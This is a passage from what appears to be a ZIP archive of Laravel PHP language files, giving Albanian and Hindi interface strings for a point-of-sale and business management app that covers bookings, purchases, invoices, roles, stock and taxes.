ri', 'start_time' => 'Koha e nisjes', 'end_time' => 'Koha e mbarimit', 'booking_not_available' => 'Tabela tashmë e rezervuar për <b>:customer_name</b> midis <b>:booking_time_range</b>', 'select_correspondent' => 'Zgjidhni korrespondentin', 'send_notification_to_customer' => 'Dërgo njoftim me email / SMS tek klienti', 'booking_details' => 'Detajet e Rezervimit', 'correspondent' => 'Korrespondenti', 'booking_starts' => 'Fillon rezervimi', 'booking_ends' => 'Rezervimi mbaron', 'cancelled' => 'Anulohet', 'completed' => 'Përfunduar', 'change_booking_status' => 'Ndrysho statusin e rezervimit', 'booked' => 'Rezervuar', 'delete_booking' => 'Fshi rezervimin', 'click_on_any_booking_to_view_or_change_status' => 'Kliko në çdo rezervim për të parë detajet ose ndrysho statusin', 'double_click_on_any_day_to_add_new_booking' => 'Double klikoni në çdo ditë për të shtuar prenotim të ri', 'todays_bookings' => 'Rezervimet e sotme', 'hello_name' => 'Hello :name!', 'booking_confirmed' => 'Rezervimi juaj është konfirmuar.', 'table_info' => 'Tabela: :table', 'booking_time_info' => 'Nga :from në :to', 'new_booking_subject' => 'Rezervim i ri -:business_name', 'customer_note' => 'Shënim i klientit', 'table_report' => 'Tabela Raport', 'service_staff_report' => 'Raporti i Stafit të Shërbimit', 'service_staff_replacement' => 'Zëvendësimi i stafit të shërbimit', ]; PK G �Z1��Z� � sq/purchase.phpnu �[��� <?php return [ 'supplier' => 'Furnizues', 'ref_no' => 'Referenca Jo', 'business_location' => 'Vendndodhja e biznesit', 'purchases' => 'Blerjet', 'add_payment' => 'Shto pagesë', 'edit_payment' => 'Ndrysho pagesën', 'view_payments' => 'Shiko pagesat', 'amount_already_paid' => 'Shuma e paguar tashmë', 'payment_added_success' => 'Pagesa u shtua me sukses', 'payment_updated_success' => 'Pagesa u përditësua me sukses', 'payment_deleted_success' => 'Pagesa fshihet me sukses', 'amount' => 'Shuma', 'payment_method' => 'Metoda e pagesës', 'no_records_found' => 'Nuk u gjet asnjë rekord', 'payment_due' => 'Pagesa për shkak', 'purchase_total' => 'Blerje gjithsej', 'location' => 'Vendndodhja', 'payment_note' => 'Shënim për pagesë', 'all_purchases' => 'Të gjitha blerjet', 'purchase_status' => 'Statusi i blerjes', 'payment_status' => 'Statusi i pagesës', 'grand_total' => 'Grand Total', 'add_purchase' => 'Shto Blerje', 'purchase_date' => 'Data e blerjes', 'purchase_quantity' => 'Sasia e Blerjes', 'unit_cost_before_tax' => 'Kosto njësie (para tatimit)', 'subtotal_before_tax' => 'Nëntotali (para tatimit)', 'product_tax' => 'Tatimi i produktit', 'net_cost' => 'Kosto neto', 'line_total' => 'Gjithsej Linjë', 'unit_selling_price' => 'Njësia Çmimi Shitës', 'total_before_tax' => 'Gjithsej Para Tatimit', 'net_total_amount' => 'Shuma totale neto', 'discount_type' => 'Lloji i zbritjes', 'discount_amount' => 'Shuma e zbritjes', 'discount' => 'Discount', 'edit_purchase' => 'Ndrysho blerje', 'purchase_tax' => 'Taksë për blerje', 'shipping_details' => 'Detajet e transportit', 'additional_shipping_charges' => 'Pagesat shtesë të transportit', 'additional_notes' => 'Shenime shtese', 'purchase_add_success' => 'Blerja u shtua me sukses', 'purchase_update_success' => 'Blerja u përditësua me sukses', 'purchase_details' => 'Detajet e blerjes', 'unit_cost_after_tax' => 'Çmimi i njësisë (pas taksës)', 'total_after_tax' => 'Totali Pas Tatimit', 'no_payments' => 'Nuk u gjetën pagesa', 'allow_purchase_different_currency' => 'Blerjet në monedhë tjetër', 'purchase_currency' => 'Valuta e Blerjes', 'p_exchange_rate' => 'Kursi i këmbimit valutor', 'diff_purchase_currency_help' => 'Monedha e blerjes është vendosur në <strong> :currency </strong>', 'list_purchase' => 'Blerjet e Listës', 'attach_document' => 'Bashkangjit dokumentin', 'download_document' => 'Dokumenti i shkarkimit', 'max_file_size' => 'Max Madhësia e dokumentit :sizeMB', ]; PK G �Z�d� sq/business.phpnu �[��� <?php return [ 'register_and_get_started_in_minutes' => 'Regjistro dhe fillo në minuta', 'business_name' => 'Emri i biznesit', 'start_date' => 'Data e fillimit', 'currency' => 'Valuta', 'currency_placeholder' => 'Zgjidh monedhën', 'upload_logo' => 'Ngarko Logo', 'country' => 'Vendi', 'state' => 'Shteti', 'city' => 'City', 'zip_code' => 'Kodi Postal', 'zip_code_placeholder' => 'Kodi postar / postar', 'landmark' => 'Landmark', 'tax_1_name' => 'Taksë 1 Emri', 'tax_1_no' => 'Taksë 1 Jo.', 'tax_2_name' => 'Taksë 2 Emri', 'tax_2_no' => 'Tax 2 No.', 'tax_1_placeholder' => 'GST / VAT / Të tjera', 'prefix' => 'Prefix', 'prefix_placeholder' => 'Mr / Mrs / Miss', 'first_name' => 'Emri', 'last_name' => 'Mbiemri', 'username' => 'Emri i përdoruesit', 'email' => 'Email', 'password' => 'Password', 'confirm_password' => 'Konfirmo fjalëkalimin', 'register' => 'Regjistrohu', 'business' => 'Biznesi', 'address' => 'Adresë', 'logo_help' => 'Logo e mëparshme (nëse ekziston) do të zëvendësohet', 'update_settings' => 'Cilësimet e përditësimit', 'business_settings' => 'Cilësimet e biznesit', 'settings_updated_success' => 'Cilësimet u përditësuan me sukses', 'default_profit_percent' => 'Përqindja e fitimit të parazgjedhur', 'default_sales_tax' => 'Default Tax Shitje', 'default_sales_discount' => 'Default Discount Shitje', 'business_details' => 'Detajet e biznesit', 'tax' => 'Tax', 'tax_details' => 'Detajet e tatimit', 'owner' => 'Pronari', 'owner_info' => 'Informacioni i pronarit', 'sale' => 'Shitja', 'sell_price_tax' => 'Çmimi i shitjes', 'product' => 'Produkt', 'sku_prefix' => 'Prefix SKU', 'language' => 'Gjuhe', 'time_zone' => 'Zona kohore', 'months' => [ 1 => 'Janar', 2 => 'Shkurt', 3 => 'Mars', 4 => 'Prill', 5 => 'Maj', 6 => 'Qershor', 7 => 'Korrik', 8 => 'Gusht', 9 => 'Shtator', 10 => 'tetor', 11 => 'nëntor', 12 => 'Dhjetor', ], 'fy_start_month' => 'Viti i fillimit të vitit financiar', 'accounting_method' => 'Metoda e kontabilitetit', 'fifo' => 'FIFO (i pari në fillim)', 'lifo' => 'LIFO (i fundit në fillim)', 'business_locations' => 'Lokacionet e biznesit', 'business_location' => 'Vendndodhja e biznesit', 'manage_your_business_locations' => 'Menaxhoni vendet e tua të biznesit', 'all_your_business_locations' => 'Të gjitha vendet e tua të biznesit', 'add_business_location' => 'Shto një lokacion të ri të biznesit', 'business_location_added_success' => 'Vendndodhja e biznesit u shtua me sukses', 'edit_business_location' => 'Ndrysho lokacionin e biznesit', 'business_location_updated_success' => 'Vendndodhja e biznesit u përditësua me sukses', 'location' => 'Vendndodhja', 'already_registered' => 'E regjistruar tashme?', 'sign_in' => 'Hyni', 'not_yet_registered' => 'Nuk është regjistruar ende?', 'register_now' => 'Regjistro tani', 'system' => 'Sistemi', 'show_help_text' => 'Trego tekstin e ndihmës', 'mobile' => 'Mobile', 'alternate_number' => 'Numri i kontaktit alternativ', 'email' => 'Email', 'settings' => 'Settings', 'transaction_edit_days' => 'Ditët e ndryshimit të transaksionit', 'dashboard' => 'Dashboard', 'view_stock_expiry_alert_for' => 'Shiko skedarin e skadencës së aksioneve', 'days' => 'Ditët', 'system_settings' => 'Cilësimet e sistemit', 'add_keyboard_shortcuts' => 'Shto shkurtore të tastierës', 'operations' => 'Operacionet', 'keyboard_shortcut' => 'Shortcut për tastierën', 'business_created_succesfully' => 'Biznesi krijoi me sukses !!', 'tax_number1' => 'Numri i Taksës 1', 'tax_number2' => 'Numri i Taksës 2', 'is_active' => 'Aktive', 'created_by' => 'Krijuar nga', ]; PK G �Z��� � sq/cash_register.phpnu �[��� <?php return [ 'cash_register' => 'Regjistri i parasë', 'manage_your_cash_register' => 'Menaxho regjistrin e parave', 'all_your_cash_register' => 'Të gjithë Regjistrat e Keshit', 'cash_in_hand' => 'Para në dorë', 'open_cash_register' => 'Regjistri i arkës së hapur', 'enter_amount' => 'Shkruaj shumën', 'open_register' => 'Regjistrohu i hapur', 'register_details' => 'Detajet e Regjistrimit', 'cash_payment' => 'Pagesë me para në dorë', 'checque_payment' => 'Check Payment', 'card_payment' => 'Pagesa e Kartelave', 'bank_transfer' => 'Transferte bankare', 'other_payments' => 'Pagesat tjera', 'total_sales' => 'Shitjet totale', 'total_cash' => 'Total Cash', 'current_register' => 'Regjistri aktual', 'close_register' => 'Mbylle Regjistrin', 'total_card_slips' => 'Shifrat totale të kartës', 'total_cheques' => 'Kontrollet totale', 'closing_note' => 'Shënim i Mbylljes', 'close_success' => 'Regjistri mbyllet me sukses', 'open' => 'Open', 'close' => 'Mbyll', 'total_refund' => 'Gjithsej rimbursim', 'refunds' => 'Rimbursimet', ]; PK G �Z���� � sq/tooltip.phpnu �[��� <?php return [ 'product_stock_alert' => "Produktet me stoqe të ulët. <br/> <small class ='text-muted'> Bazuar në sasinë e gatishmërisë së produktit të caktuar në ekranin e produktit shtesë. <br> Blini këtë produkt para se të mbaroni aksionet. </small>", 'payment_dues' => "Në pritje të pagesës për blerje. <br/> <small class ='text-muted'> Duke u bazuar në afatin e pagesës së furnitorit. <br/> Duke shfaqur pagesat që duhet të paguhen për 7 ditë ose më pak. </small>", 'input_tax' => 'Tatimi total i mbledhur për shitje brenda afatit të zgjedhur kohor.', 'output_tax' => 'Tatimi total i paguar për blerjet për periudhën kohore të zgjedhur.', 'tax_overall' => 'Diferenca midis tatimit total të mbledhur dhe tatimit total të paguar brenda periudhës kohore të zgjedhur.', 'purchase_due' => 'Shuma totale e papaguar për blerje.', 'sell_due' => 'Shuma totale që do të merret nga shitjet', 'over_all_sell_purchase' => '-ve vlera = Shuma për të paguar <br> Vlerën = Shuma për të marrë', 'no_of_products_for_trending_products' => 'Numri i produkteve më të mira në krahasim me tabelën më poshtë.', 'top_trending_products' => "Produktet më të shitura të dyqanit tuaj. <br/> <small class ='text-muted'> Aplikoni filtra për të njohur produktet trending për kategori të veçanta, markë, lokacionin e biznesit etj. </small>", 'sku' => "ID i produktit unik ose njësia e mbajtjes së stoqeve <br> <br> mbani atë bosh për të gjeneruar automatikisht sku.<br> <small class ='text-muted'> Ju mund të modifikoni prefiksin sku në parametrat e Biznesit . </small> ", 'enable_stock' => 'Aktivizo ose çaktivizo menaxhimin e stokut për një produkt.', 'alert_quantity' => "Merrni vigjilentë kur produkti i aksioneve arrin ose shkon nën sasinë e specifikuar. <br> <br> <small class ='text-muted'> Produktet me stoqe të ulët do të shfaqen në panelin e kontrollit - Seksioni i Alertit të Produktit. </small>", 'product_type' => '<b> Produkti i vetëm </b>: Produkti pa asnjë ndryshim. <br> <b> Produkti i ndryshueshëm </b>: Produkt me ndryshime të tilla si madhësia, ngjyra etj.', 'profit_percent' => 'Marzhi i fitimit fillestar për produktin. </i> Ju mund të menaxhoni marzhin e paracaktuar të fitimit në Cilësimet e Biznesit. </small>', 'pay_term' => "Pagesat që duhet të paguhen për blerjet brenda periudhës së dhënë. <br/> <small class ='text-muted'> Të gjitha pagesat e ardhshme ose të paguara do të shfaqen në pult - Pagesa Seksioni i duhur </small>", 'order_status' => 'Produktet në këtë blerje do të jenë në dispozicion për shitje vetëm nëse <b> Statusi i porositjes </b> është <b> Artikujt e marrë </b>.', 'purchase_location' => 'Vendndodhja e biznesit ku produkti i blerë do të jetë në dispozicion për shitje.', 'sale_location' => 'Vendndodhja e biznesit nga ku doni të shisni', 'sale_discount' => "Vendosni 'Default Discount Shitje' për të gjitha shitjet në Cilësimet e Biznesit. Kliko në ikonën e redaktimit më poshtë për të shtuar / përditësuar zbritje.", 'sale_tax' => 'Vendosni tatimin e parave të zbritshme për të gjitha shitjet në Cilësimet e biznesit. Klikoni në ikonën e redaktimit më poshtë për të shtuar / përditësuar tatimin e porosisë.', 'default_profit_percent' => "Marzhi i fitimit fillestar i një produkti. <br> <small class ='text-muted'> Përdoret për të llogaritur çmimin e shitjes bazuar në çmimin e blerjes. <br/> Ju mund të modifikoni këtë vlerë për produktet indivisual duke shtuar </small> ", 'fy_start_month' => 'Fillimi i muajit të Vitit Financiar për biznesin tuaj', 'business_tax' => 'Numri i tatimit të regjistruar për biznesin tuaj.', 'invoice_scheme' => "Skema e faturës nënkupton formatin e numërimit të faturës .. Zgjidh skemën që do të përdoret për këtë vendndodhje biznesi <br> <small class ='text-muted'> <i> Ju mund të shtoni skemën e re të faturave </b> > </small> ", 'invoice_layout' => "Layout faturë që do të përdoret për këtë lokacion biznesi <br> <small class ='text-muted'> (<i> Ju mund të shtoni <b> Layout fature </b> <b> <b> / i>) </small> ", 'invoice_scheme_name' => 'Jepini një emër të shkurtër kuptimplotë Skemës së Faturës.', 'invoice_scheme_prefix' => 'Parashtesë për skemën e faturave.> Një prefiks mund të jetë një tekst me porosi ose vitin e tanishëm: # XXXX0001, # 2018-0002', 'invoice_scheme_start_number' => "Filloni numrin për numërimin e faturës. <br> <small class ='text-muted'> Ju mund ta bëni atë 1 ose ndonjë numër tjetër nga i cili do të fillojë numërimi. </small>", 'invoice_scheme_count' => 'Numri total i faturave të gjeneruara për skemën e faturave', 'invoice_scheme_total_digits' => 'Gjatësia e numrit të faturave duke përjashtuar prefiksin e faturës', 'tax_groups' => 'Tarifat e Taksave të Grupit - të përcaktuara më sipër, që do të përdoren në kombinim në seksionet Blerje / Shitës.', 'unit_allow_decimal' => 'Decimals ju lejon të shisni produktet e lidhura në fraksione.', 'print_label' => 'Shtoni produktet -> Zgjidhni informatat për të shfaqur në etiketa -> Zgjidh vendosjen e kodit të etiketave -> Etiketa paraprake -> Shtyp', 'expense_for' => 'Zgjidhni përdoruesin për të cilin shpenzime është e lidhur. <I> (Opsionale) </i> <br/> <small> Shembull: Paga e një punonjësi. </small>', 'all_location_permission' => 'Nëse <b> Të gjitha vendndodhjet </b> zgjodhën këtë rol do të ketë leje për të hyrë në të gjitha lokacionet e biznesit', 'dashboard_permission' => 'Nëse nuk kontrollohet vetëm mesazhi i mirëseardhjes do të shfaqet në Home.', 'access_locations_permission' => 'Të gjitha të dhënat për vendndodhjen e zgjedhur do të shfaqen vetëm te përdoruesi. <br/> <br/> <small> Për shembull: Ju mund ta përdorni këtë për të përcaktuar <i> Store Manager / Cashier / Menaxher i stokut / Menaxher i degës, </i> i lokacionit të veçantë. </small> ', 'print_receipt_on_invoice' => 'Aktivizo ose çaktivizo printimin automatik të faturës për finalizimin', 'receipt_printer_type' => '<i> Printim me Bazë Browseri </i>: Trego kutinë e dialogut të printimit në shfletues me parapamje të faturës <br/> <br/> <i> Përdorni Printerin e Marrjes së Konfiguar </i>: Zgjidh një marrës konfigurues / shtypjen ', 'adjustment_type' => '<i> Normale </i>: Përshtatja për arsye normale si rrjedhja, dëmtimi etj <br/> <br/> <i> Abnormal </i>: Përshtatja për arsye si zjarri, aksidenti etj.', 'total_amount_recovered' => 'Shuma e rikuperuar nga sigurimi ose shitja e mbetjeve ose të tjerave', 'express_checkout' => 'Shënoni arkën e plotë të paguar dhe arka', 'total_card_slips' => 'Numri total i pagesave me kartela të përdorura në këtë regjistër', 'total_cheques' => 'Numri i përgjithshëm i kontrolleve të përdorura në këtë regjistër', 'capability_profile' => 'Mbështetja për komandat dhe faqet e kodeve ndryshon ndërmjet shitësve të printerave dhe modeleve. Nëse nuk jeni të sigurtë, është mirë të përdorni profilin e thjeshtë të aftësisë', 'Zgjidh këtë opsion nëse bleni në një monedhë tjetër, atëherë ju do të keni monedhën e biznesit', "1 Valuta e blerjes = ? Valuta bazë <br> <small class='text-muted'> Ju mund të aktivizoni / çaktivizoni 'Blerje në monedhë tjetër' nga cilësimet e biznesit. </small>", 'Metoda e kontabilitetit', 'Numri i ditëve nga data e transaksionit deri në të cilën transaksioni mund të redaktohet.', "Lista e stoqeve që mbarojnë në :days ditë - <small class='text-muted'> Mund të vendosni numrin e ditëve në Cilësimet e Biznesit </small>", ]; PK G �Z��;�f f sq/role.phpnu �[��� <?php return [ 'add_role' => 'Shto rol', 'edit_role' => 'Ndrysho rolin', 'user' => 'User', 'supplier' => 'Furnizues', 'customer' => 'Customer', 'purchase' => 'Rregullimi i Blerjes dhe i Stoqit', 'report' => 'Raporti', 'user.view' => 'Shikoni përdoruesin', 'user.create' => 'Shto përdorues', 'user.update' => 'Ndrysho përdorues', 'user.delete' => 'Fshi përdoruesin', 'supplier.view' => 'Shikoni furnizuesin', 'supplier.create' => 'Shto furnizues', 'supplier.update' => 'Edit furnizuesi', 'supplier.delete' => 'Fshi furnizuesin', 'customer.view' => 'Shiko klientin', 'customer.create' => 'Shto klient', 'customer.update' => 'Redakto klient', 'customer.delete' => 'Fshi klientin', 'product.view' => 'Shikoni produktin', 'product.create' => 'Shto produkt', 'product.update' => 'Edit produkt', 'product.delete' => 'Fshi produktin', 'purchase.view' => 'Shikoni blerjen dhe përshtatjen e stoqeve', 'purchase.create' => 'Shto rregullimin e blerjeve dhe aksioneve', 'purchase.update' => 'Ndrysho blerjen dhe rregullimin e stoqeve', 'purchase.delete' => 'Fshi blerjen dhe rregullimin e stoqeve', 'sell.view' => 'Shikoni POS shitni', 'sell.create' => 'Shto shitur POS', 'sell.update' => 'Edit POS shes', 'sell.delete' => 'Fshi shitjen e POS-ve', 'purchase_n_sell_report.view' => 'Shiko raportin e blerjes dhe shitjes', 'contacts_report.view' => 'Shikoni raportin e Furnizuesit dhe Klientit', 'stock_report.view' => 'Shikoni raportin e aksioneve, raportin e rregullimit të stoqeve dhe raportin e skadimit të aksioneve', 'tax_report.view' => 'Shiko raportin e taksave', 'trending_product_report.view' => 'Shikoni raportin e produktit në trend', 'register_report.view' => 'Shiko raportin e regjistrimit', 'sales_representative.view' => 'Shikoni raportin e përfaqësimit të shitjeve', 'expense_report.view' => 'Shikoni raportin e shpenzimeve', 'business_settings.access' => 'Cakto cilësimet e biznesit', 'barcode_settings.access' => 'Cilësimet e kodit të hyrjes', 'invoice_settings.access' => 'Vendosja e faturave të hyrjes', 'brand.view' => 'Shikoni markën', 'brand.create' => 'Shto markë', 'brand.update' => 'Ndrysho markën', 'brand.delete' => 'Fshije markën', 'tax_rate.view' => 'Shikoni normën e tatimit', 'tax_rate.create' => 'Shto shkallë tatimore', 'tax_rate.update' => 'Redakto shkallën e taksave', 'tax_rate.delete' => 'Fshi shkallën e taksave', 'unit.view' => 'Shikoni njësinë', 'unit.create' => 'Shto njësi', 'unit.update' => 'Modifiko njësinë', 'unit.delete' => 'Fshi njësinë', 'category.view' => 'Shiko kategorinë', 'category.create' => 'Shto kategori', 'category.update' => 'Modifiko kategorinë', 'category.delete' => 'Fshi kategorinë', 'select_all' => 'Selektoj të gjitha', 'settings' => 'Settings', 'brand' => 'Brand', 'tax_rate' => 'Norma e tatimit', 'unit' => 'Unit', 'access_locations' => 'Vendet e hyrjes', 'all_locations' => 'Të gjitha vendndodhjet', 'dashboard' => 'Home', 'dashboard.data' => 'Shikoni të dhënat e Shtëpisë', 'profit_loss_report.view' => 'Shikoni raportin e fitimit / humbjes', 'direct_sell.access' => 'Qasja shitet', ]; PK G �Z�9z� � sq/product.phpnu �[��� <?php return [ 'exc_of_tax' => 'Përjashtuar tatimin', 'inc_of_tax' => 'Përfshirë tatimin', 'profit_percent' => 'x Margin (%)', 'add_new_product' => 'Shto produkt të ri', 'add_product_for_labels' => 'Shto produkte për të gjeneruar Etiketa', 'product_type' => 'Tipi i produktit', 'category' => 'Kategoria', 'sub_category' => 'Nën kategori', 'unit' => 'Unit', 'brand' => 'Brand', 'tax' => 'Tax', 'sku' => 'SKU', 'alert_quantity' => 'Sasia e alarmit', 'product_name' => 'Emri i produktit', 'auto_generate' => 'Auto generate', 'manage_stock' => 'Menaxho aksionet?', 'enable_stock_help' => 'Lejo menaxhimin e stokut në nivel produkti', 'barcode_type' => 'Barcode Type', 'applicable_tax' => 'Tatimi i aplikueshëm', 'selling_price_tax_type' => 'Lloji i Tatimit të Çmimit të Shitjes', 'inclusive' => 'Gjithëpërfshirës', 'exclusive' => 'Exclusive', 'edit_product' => 'Edit Product', 'default_purchase_price' => 'Çmimi i Blerjes Default', 'default_selling_price' => 'Default Price Shitja', 'value' => 'Vlera', 'variation_name' => 'Emri i variacionit', 'variation_values' => 'Vlerat e variacionit', 'use_template' => 'Përdor modelin', 'add_variation' => 'Shto variacion', 'product_added_success' => 'Produkti u shtua me sukses', 'product_updated_success' => 'Produkti është përditësuar me sukses', 'enable_product_expiry' => 'Aktivizo skadimin e produktit', 'expiry_period' => 'Periudha e skadimit', 'expires_in' => 'Skadon në', 'not_applicable' => 'Nuk aplikohet', 'months' => 'Muaj', 'days' => 'Ditët', 'mfg_date' => 'Date e prodhimit', 'exp_date' => 'Data e skadimit', 'view_product' => 'Shikoni Produktin', 'add_product' => 'Shto produkt', 'variations' => 'Variations', 'import_products' => 'Produktet e importit', 'file_to_import' => 'File To Import', 'file_imported_successfully' => 'Skedari i importuar me sukses', 'variation_sku_format' => 'Formati i SKU-së së Variantit', 'variation_sku_format_help_text' => 'Formati i SKU-së së Variantit - Kur SKU-ja e variantit është e zbrazët, ky format do të përdoret për të gjeneruar SKU për variantet.', 'sku_number' => 'SKU-Numri (Shembull -> ABC-1, ABC-2)', 'sku_variation_number' => 'SKUVariant (Shembull -> ABCS, ABCM)' ]; PK G �Z�@�h h sq/invoice.phpnu �[��� <?php return [ 'invoice_settings' => 'Cilësimet e faturës', 'manage_your_invoices' => 'Menaxhoni cilësimet e faturës tënde', 'all_your_invoice_schemes' => 'Të gjitha skemat e faturës suaj', 'added_success' => 'Vendosja e faturave u shtua me sukses', 'updated_success' => 'Vendosja e faturës përditësohet me sukses', 'deleted_success' => 'Vendosja e faturës fshihet me sukses', 'add_invoice' => 'Shto skema të reja të faturës', 'edit_invoice' => 'Redakto skemat e faturës', 'name' => 'Emri', 'prefix' => 'Prefix', 'start_number' => 'Fillo nga', 'total_digits' => 'Numri i shifrave', 'preview' => 'Preview', 'not_selected' => 'Nuk u përzgjodh', 'invoice_count' => 'Numër fature', 'invoice_schemes' => 'Skema e faturave', 'invoice_layouts' => 'Layouts faturash', 'invoice_layout' => 'Planifikimi i faturës', 'all_your_invoice_layouts' => 'Të gjitha paraqitjet e faturës', 'add_invoice_layout' => 'Shto paraqitjen e re të faturës', 'layout_name' => 'Emri layout', 'invoice_scheme' => 'Skema e faturave', 'header_text' => 'Tekst header', 'invoice_no_prefix' => 'Numër fature', 'invoice_heading' => 'Drejtimi i faturës', 'sub_total_label' => 'Etiketë nëntotal', 'discount_label' => 'Etiketë zbritje', 'tax_label' => 'Etiketë tatimore', 'total_label' => 'Etiketë gjithsej', 'fields_to_be_shown_in_address' => 'Fushat që do të shfaqen në adresën e vendndodhjes', 'highlight_color' => 'Ngjyrosni ngjyrën', 'footer_text' => 'Tekst i faqes', 'layout_added_success' => 'Plani i faturës është shtuar me sukses', 'edit_invoice_layout' => 'Redakto paraqitjen e faturës', 'layout_updated_success' => 'Planifikimi i faturave u rifreskua me sukses', 'used_in_locations' => 'Përdorur në vende', 'show_business_name' => 'Trego emrin e biznesit', 'show_location_name' => 'Shfaq emrin e vendndodhjes', 'show_mobile_number' => 'Numri i celularit', 'show_alternate_number' => 'Numër alternativ', 'show_email' => 'Email', 'show_tax_1' => 'Detajet e tatimit 1', 'show_tax_2' => 'Detajet e taksës 2', 'fields_to_shown_for_communication' => 'Fushat për detajet e Komunikimit', 'fields_to_shown_for_tax' => 'Fushat për detajet e taksës', 'invoice_logo' => 'Faturë Logo', 'show_logo' => 'Trego faturën Logo', 'show_barcode' => 'Shfaq Barcode', 'total_due_label' => 'Gjithsej etiketën e duhur', 'invoice_heading_not_paid' => 'Titull Prapashtesë për mos paguar', 'invoice_heading_paid' => 'Titull Prapashtesë për pagesë', 'show_payments' => 'Trego informacionin e pagesës', 'show_customer' => 'Trego informacionin e Klientit', 'paid_label' => 'Shuma e etiketës së paguar', 'customer_label' => 'Etiketa e klientit', ]; PK G �ZD��� � hi/expense.phpnu �[��� <?php return [ 'expenses' => 'व्यय', 'expense_categories' => 'व्यय श्रेणी', 'manage_your_expense_categories' => 'अपनी व्यय श्रेणियां प्रबंधित करें', 'all_your_expense_categories' => 'आपके सभी व्यय श्रेणियां', 'expense_category' => 'व्यय श्रेणी', 'category_name' => 'श्रेणी नाम', 'category_code' => 'श्रेणी कोड', 'added_success' => 'व्यय श्रेणी सफलतापूर्वक जोड़ा गया', 'updated_success' => 'व्यय श्रेणी सफलतापूर्वक अपडेट की गई', 'deleted_success' => 'व्यय श्रेणी सफलतापूर्वक हटा दी गई', 'add_expense_category' => 'व्यय श्रेणी जोड़ें', 'edit_expense_category' => 'व्यय श्रेणी संपादित करें', 'all_expenses' => 'सभी खर्चे', 'expense_status' => 'व्यय स्थिति', 'add_expense' => 'व्यय जोड़ें', 'edit_expense' => 'व्यय संपादित करें', 'expense_note' => 'व्यय नोट', 'expense_add_success' => 'व्यय सफलतापूर्वक जोड़ा गया', 'expense_update_success' => 'व्यय सफलतापूर्वक अपडेट किया गया', 'expense_delete_success' => 'व्यय सफलतापूर्वक हटा दिया गया', 'expense_for' => 'व्यय के लिए', ]; PK G �ZtB9�� � hi/messages.phpnu �[��� <?php return [ 'add' => 'जोड़ें', 'edit' => 'संपादित करें', 'save' => 'बचाना', 'update' => 'अद्यतन करें', 'action' => 'कार्रवाई', 'actions' => 'कार्रवाई', 'view' => 'देखें', 'delete' => 'हटाएँ', 'close' => 'बंद करे', 'something_went_wrong' => 'कुछ गलत हो गया है। कृपया बाद में दोबारा प्रयास करें', 'required' => 'यह फ़ील्ड आवश्यक है', 'please_select' => 'कृपया चुने', 'cancel' => 'रद्द करना', 'date' => 'तारीख', 'filter_by_date' => 'तिथि से फ़िल्टर करें', 'location' => 'स्थान', 'go_back' => 'वापस जाओ', 'due_tooltip' => '-वे मान = भुगतान करने की राशि + ve मूल्य = प्राप्त करने की राशि', 'purchase_due_tooltip' => '-वे मान = प्राप्त करने की राशि + ve मान = भुगतान करने की राशि', 'yes' => 'हाँ', 'no' => 'नहीं', 'all' => 'सब', 'settings' => 'सेटिंग्स', 'business_location_settings' => 'व्यापार स्थान सेटिंग्स', 'print' => 'प्रिंट', 'submit' => 'जमा करें', 'purchase_sell_mismatch_exception' => 'त्रुटि: अनुमति नहीं: बेची गई और खरीद मात्रा के बीच बेमेल। उत्पाद: :product', 'purchase_stock_adjustment_mismatch_exception' => 'त्रुटि: अनुमति नहीं: शेयर समायोजन और खरीद मात्रा के बीच बेमेल। उत्पाद: :product', 'transaction_edit_not_allowed' => ':days दिनों के बाद लेन-देन संपादन की अनुमति नहीं है।', ]; PK G �Z�Tz hi/stock_adjustment.phpnu �[��� <?php return [ 'stock_adjustment' => 'स्टॉक समायोजन', 'stock_adjustments' => 'स्टॉक समायोजन', 'list' => 'स्टॉक समायोजन सूची', 'add' => 'स्टॉक समायोजन जोड़ें', 'all_stock_adjustments' => 'सभी स्टॉक समायोजन', 'search_product' => 'स्टॉक समायोजन के लिए उत्पाद खोजें', 'adjustment_type' => 'समायोजन प्रकार', 'normal' => 'सामान्य', 'abnormal' => 'असामान्य', 'total_amount' => 'कुल रकम', 'total_amount_recovered' => 'कुल राशि पुनर्प्राप्त', 'reason_for_stock_adjustment' => 'कारण', 'stock_adjustment_added_successfully' => 'स्टॉक समायोजन सफलतापूर्वक जोड़ा', 'search_products' => 'उत्पादों को खोजना', 'delete_success' => 'शेयर समायोजन सफलतापूर्वक हटा दिया गया', 'view_details' => 'स्टॉक समायोजन विवरण देखें', ]; PK G �Z`�~l] ] hi/home.phpnu �[��� <?php return [ 'home' => 'होम', 'welcome_message' => 'स्वागत हे :name,', 'total_sell' => 'कुल बिक्री', 'total_purchase' => 'कुल खरीद', 'invoice_due' => 'चालान की बकाया', 'purchase_due' => 'खरीद की बकाया', 'today' => 'आज', 'this_week' => 'इस सप्ताह', 'this_month' => 'इस महीने', 'this_fy' => 'यह वित्तीय वर्ष', 'sells_last_30_days' => 'बिक्री पिछले 30 दिन', 'sells_current_fy' => 'बिक्री चालू वित्तीय वर्ष', 'total_sells' => 'कुल बिक्री (:currency)', 'product_stock_alert' => 'उत्पाद स्टॉक चेतावनी', 'payment_dues' => 'भुगतान की बकाया', 'due_amount' => 'देय राशि', 'stock_expiry_alert' => 'स्टॉक समाप्ति चेतावनी', 'todays_profit' => 'आज का लाभ', ]; PK G �Z���4� � hi/receipt.phpnu �[��� <?php return [ 'product' => 'उत्पाद', 'qty' => 'मात्रा', 'unit_price' => 'यूनिट मूल्य', 'subtotal' => 'उप-योग', 'discount' => 'छूट', 'tax' => 'कर', 'total' => 'कुल', 'invoice_number' => 'चालान नंबर।', 'date' => 'तारीख', 'receipt_settings' => 'रसीद सेटिंग्स', 'receipt_settings_mgs' => 'इस स्थान के लिए सभी रसीद संबंधित सेटिंग्स', 'print_receipt_on_invoice' => 'अंतिम रूप देने के बाद ऑटो प्रिंट इनवॉइस', 'receipt_printer_type' => 'रसीद प्रिंटर प्रकार', 'receipt_settings_updated' => 'रसीद सेटअप सफलतापूर्वक अद्यतन किया गया', ]; PK G �Z�ɋ�d d hi/tax_rate.phpnu �[��� <?php return [ 'tax_rates' => 'कर की दरें', 'manage_your_tax_rates' => 'अपनी कर दरों को प्रबंधित करें', 'all_your_tax_rates' => 'आपकी सभी कर दरों', 'name' => 'नाम', 'rate' => 'कर दर %', 'added_success' => 'टैक्स दर सफलतापूर्वक जोड़ा', 'updated_success' => 'कर दर सफलतापूर्वक अपडेट की गई', 'deleted_success' => 'टैक्स दर सफलतापूर्वक नष्ट हो गई', 'add_tax_rate' => 'टैक्स दर जोड़ें', 'edit_taxt_rate' => 'कर दर संपादित करें', 'add_tax_group' => 'कर समूह जोड़ें', 'tax_group_added_success' => 'कर समूह 